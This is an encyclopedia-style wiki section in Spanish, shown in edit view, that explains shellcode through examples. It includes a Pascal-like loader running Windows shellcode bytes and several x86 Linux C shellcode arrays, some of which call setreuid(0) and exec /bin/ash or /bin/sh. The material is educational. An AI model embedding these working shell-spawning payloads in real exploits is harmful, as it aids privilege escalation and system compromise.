Editando Shellcode (sección)

== Ejemplos de ''shellcode'' ==
=== Ejemplo de shellcode en Pascal ===
Para ejecutar una ''shellcode'' generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje [[Pascal (lenguaje de programación)|Pascal]].
Los [[Código de operación|opcodes]] obtenidos de nuestro código ensamblador son enlistados en una matriz de tipo byte y cargado en un prototipo para ser invocado.

Un ejemplo de un ''shellcode'' es el siguiente:
  <span style="color:#3F0E9A">'''Prototipo'''</span> Ejec
  
  <span style="color:#238721">' Variables.</span>
  <span style="color:#3F0E9A">'''Var'''</span> ShellCode[]:<span style="color:#3F0E9A">'''Byte'''</span> <span style="color:#238721">' Matriz de byte para los OpCode..</span>
  <span style="color:#3F0E9A">'''Var'''</span> Prototipo:Ejec   <span style="color:#238721">' Prototipo que ejecutara el ShellCode.</span>
  
  <span style="color:#238721">' Inicializamos/cargamos el ShellCode.</span>
  ShellCode =   [&31,&d2,&b2,&30,&64,&8b,&12,&8b,&52,&0c,&8b,&52,&1c,&8b,&42 _
  		,&08,&8b,&72,&20,&8b,&12,&80,&7e,&0c,&33,&75,&f2,&89,&c7,&03 _
  		,&78,&3c,&8b,&57,&78,&01,&c2,&8b,&7a,&20,&01,&c7,&31,&ed,&8b _
  		,&34,&af,&01,&c6,&45,&81,&3e,&46,&61,&74,&61,&75,&f2,&81,&7e _
  		,&08,&45,&78,&69,&74,&75,&e9,&8b,&7a,&24,&01,&c7,&66,&8b,&2c _
  		,&6f,&8b,&7a,&1c,&01,&c7,&8b,&7c,&af,&fc,&01,&c7,&68,&79,&74 _
  		,&65,&01,&68,&6b,&65,&6e,&42,&68,&20,&42,&72,&6f,&89,&e1,&fe _
  		,&49,&0b,&31,&c0,&51,&50,&ff,&d7]
  
  <span style="color:#238721">'Le establecemos al prototipo código para ejecutar.</span>
  Prototipo@ = ShellCode[0]@
  
  <span style="color:#238721">' Ejecutamos el ShellCode.</span>
  Prototipo
Como se puede apreciar, los opcodes son valores hexadecimales que son convertidos a bytes (valores enteros entre 0 a 255) y que el sistema operativo comprende como código ensamblador que ejecuta.

=== Ejemplo de ''shellcode'' en C ===
En el siguiente ejemplo se muestra una ''shellcode'' contenida en un ''array'' de un programa escrito en lenguaje C:

<pre>char shellcode[]=          
    "\x31\xc0"             /* xorl    %eax,%eax   */
    "\x31\xdb"             /* xorl    %ebx,%ebx   */
    "\x31\xc9"             /* xorl    %ecx,%ecx   */
    "\xb0\x46"             /* movl    $0x46,%al   */
    "\xcd\x80"             /* int     $0x80       */
    "\x50"                 /* pushl   %eax        */
    "\x68""/ash"           /* pushl   $0x6873612f */
    "\x68""/bin"           /* pushl   $0x6e69622f */
    "\x89\xe3"             /* movl    %esp,%ebx   */
    "\x50"                 /* pushl   %eax        */
    "\x53"                 /* pushl   %ebx        */
    "\x89\xe1"             /* movl    %esp,%ecx   */
    "\xb0\x0b"             /* movb    $0x0b,%al   */
    "\xcd\x80"             /* int     $0x80       */
;</pre>

Así tenemos que una ''shellcode'' es [[código máquina]] escrito en notación [[hexadecimal]]. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente ''shellcode'' de ejemplo:

<pre>// shellcode.c 
// compilar con gcc shellcode.c -o shellcode
void main()
{
((void(*)(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}</pre>

O este otro:

<pre lang="C">
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
                   "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
                   "\x0b\xcd\x80";
int main()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}
</pre>